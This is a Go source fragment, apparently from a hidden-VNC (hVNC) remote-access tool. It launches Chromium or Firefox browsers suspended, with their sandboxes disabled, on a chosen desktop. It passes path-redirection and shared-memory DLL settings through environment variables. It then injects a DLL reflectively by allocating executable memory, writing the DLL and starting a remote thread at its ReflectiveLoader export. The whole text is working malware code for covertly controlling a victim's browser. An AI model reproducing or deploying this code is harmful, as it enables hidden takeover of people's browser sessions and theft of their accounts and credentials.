if chromiumExes[baseName] {
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox"
} else if baseName == "firefox.exe" || baseName == "waterfox.exe" {
args += " -no-remote -wait-for-browser"
}
cmdLine, err := syscall.UTF16FromString(filePath + args)
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err)
}
var si startupInfo
var pi processInformation
si.cb = uint32(unsafe.Sizeof(si))
si.lpDesktop = desktopNamePtr
si.dwX = uint32(posX)
si.dwY = uint32(posY)
si.dwFlags = STARTF_USEPOSITION
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
}
ret, _, callErr := procCreateProcessW.Call(
0,
uintptr(unsafe.Pointer(&cmdLine[0])),
0,
0,
0,
uintptr(CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT),
uintptr(unsafe.Pointer(&envBlock[0])),
0,
uintptr(unsafe.Pointer(&si)),
uintptr(unsafe.Pointer(&pi)),
)
if ret == 0 {
if callErr != nil {
return 0, 0, 0, fmt.Errorf("CreateProcess failed: %v", callErr)
}
return 0, 0, 0, fmt.Errorf("CreateProcess failed")
}
return pi.hProcess, pi.hThread, pi.dwProcessId, nil
}
func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int) ([]uint16, error) {
envStrings := syscall.Environ()
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
if shmName != "" {
envStrings = append(envStrings, "RDI_DLL_SECTION="+shmName)
envStrings = append(envStrings, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize))
}
var block []uint16
for _, s := range envStrings {
u, err := syscall.UTF16FromString(s)
if err != nil {
continue
}
block = append(block, u...)
}
block = append(block, 0)
return block, nil
}
func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
if err != nil {
return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
}
log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset)
remoteBase, _, _ := procVirtualAllocEx.Call(
hProcess,
0,
uintptr(len(dllBytes)),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE,
)
if remoteBase == 0 {
return fmt.Errorf("VirtualAllocEx failed")
}
var bytesWritten uintptr
ret, _, _ := procWriteProcessMemory.Call(
hProcess,
remoteBase,
uintptr(unsafe.Pointer(&dllBytes[0])),
uintptr(len(dllBytes)),
uintptr(unsafe.Pointer(&bytesWritten)),
)
if ret == 0 {
return fmt.Errorf("WriteProcessMemory failed")
}
remoteLoader := remoteBase + uintptr(loaderOffset)
var threadID uintptr
hThread, _, _ := procCreateRemoteThread.Call(
hProcess,
0,
1024*1024,
remoteLoader,
0,
0,
uintptr(unsafe.Pointer(&threadID)),
)
if hThread == 0 {
return fmt.Errorf("CreateRemoteThread failed")
}
procWaitForSingleObject.Call(hThread, INFINITE_WAIT)
procCloseHandle.Call(hThread)
return nil
}
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
if len(pe) < 64 {
return 0, fmt.Errorf("PE too small")
}
if pe[0] != 'M' || pe[1] != 'Z' {
return 0, fmt.Errorf("invalid DOS signature")
}
lfanew := binary.LittleEndian.Uint32(pe[60:64])
if int(lfanew)+4 > len(pe) {
return 0, fmt.Errorf("invalid e_lfanew")
}
sig := binary.LittleEndian.Uint32(pe[lfanew : lfanew+4])
if sig != 0x00004550 {
return 0, fmt.Errorf("invalid PE signature")
}
coffOff := lfanew + 4
if int(coffOff)+20 > len(pe) {
return 0, fmt.Errorf("PE too small for COFF header")
}
numberOfSections := binary.LittleEndian.Uint16(pe[coffOff+2 : coffOff+4])
sizeOfOptionalHeader := binary.LittleEndian.Uint16(pe[coffOff+16 : coffOff+18])
optOff := coffOff + 20
if int(optOff)+2 > len(pe) {
return 0, fmt.Errorf("PE too small for optional header")
}
magic := binary.LittleEndian.Uint16(pe[optOff : optOff+2])
var exportDirRVA uint32
switch magic {
case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
ddOff := optOff + 112
if int(ddOff)+8 > len(pe) {
return 0, fmt.Errorf("PE too small for data directory")
}
exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
// PE32 - export directory is at offset 96 in optional header
ddOff := optOff + 96
if int(ddOff)+8 > len(pe) {
return 0, fmt.Errorf("PE too small for data directory")
}
exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
default:
return 0, fmt.Errorf("unsupported PE magic: 0x%x", magic)
}
if exportDirRVA == 0 {
return 0, fmt.Errorf("no export directory")
}
sectionOff := optOff + uint32(sizeOfOptionalHeader)
exportDirFileOff := rvaToFileOffset(exportDirRVA, pe, sectionOff, numberOfSections)
if exportDirFileOff == 0 {
return 0, fmt.Errorf("failed to resolve export directory RVA")
}
if int(exportDirFileOff)+40 > len(pe) {
return 0, fmt.Errorf("PE too small for export directory")
}
numberOfNames := binary.LittleEndian.Uint32(pe[exportDirFileOff+24 : exportDirFileOff+28])
addressOfFunctionsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+28 : exportDirFileOff+32])
addressOfNamesRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+32 : exportDirFileOff+36])
addressOfNameOrdinalsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+36 : exportDirFileOff+40])
namesOff := rvaToFileOffset(addressOfNamesRVA, pe, sectionOff, numberOfSections)
funcsOff := rvaToFileOffset(addressOfFunctionsRVA, pe, sectionOff, numberOfSections)
ordinalsOff := rvaToFileOffset(addressOfNameOrdinalsRVA, pe, sectionOff, numberOfSections)
if namesOff == 0 || funcsOff == 0 || ordinalsOff == 0 {
return 0, fmt.Errorf("failed to resolve export table RVAs")
}
for i := uint32(0); i < numberOfNames; i++ {
nameRVA := binary.LittleEndian.Uint32(pe[namesOff+i*4 : namesOff+i*4+4])
nameFileOff := rvaToFileOffset(nameRVA, pe, sectionOff, numberOfSections)
if nameFileOff == 0 {
continue
}
name := readCString(pe, nameFileOff)
if contains(name, "ReflectiveLoader") {
ordinal := binary.LittleEndian.Uint16(pe[ordinalsOff+i*2 : ordinalsOff+i*2+2])
funcRVA := binary.LittleEndian.Uint32(pe[funcsOff+uint32(ordinal)*4 : funcsOff+uint32(ordinal)*4+4])
return rvaToFileOffset(funcRVA, pe, sectionOff, numberOfSections), nil
}
}
return 0, fmt.Errorf("ReflectiveLoader export not found")
}
func rvaToFileOffset(rva uint32, pe []byte, sectionOff uint32, numSections uint16) uint32 {
for i := uint16(0); i < numSections; i++ {
off := sectionOff + uint32(i)*40
if int(off)+40 > len(pe) {
break
}
virtualSize := binary.LittleEndian.Uint32(pe[off+8 : off+12])
virtualAddr := binary.LittleEndian.Uint32(pe[off+12 : off+16])
rawDataSize := binary.LittleEndian.Uint32(pe[off+16 : off+20])
rawDataPtr := binary.LittleEndian.Uint32(pe[off+20 : off+24])
_ = virtualSize
if rva >= virtualAddr && rva < virtualAddr+rawDataSize {
return rva - virtualAddr + rawDataPtr
}
}
if numSections > 0 {
firstSectionRawPtr := binary.LittleEndian.Uint32(pe[sectionOff+20 : sectionOff+24])
if rva < firstSectionRawPtr {
return rva
}
}
return 0
}
func readCString(data []byte, offset uint32) string {
end := offset
for int(end) < len(data) && data[end] != 0 {
end++
}
return string(data[offset:end])
}
func contains(s, substr string) bool {
if len(substr) > len(s) {
return false
}
for i := 0; i <= len(s)-len(substr); i++ {
if s[i:i+len(substr)] == substr {
return true
}
}
return false
}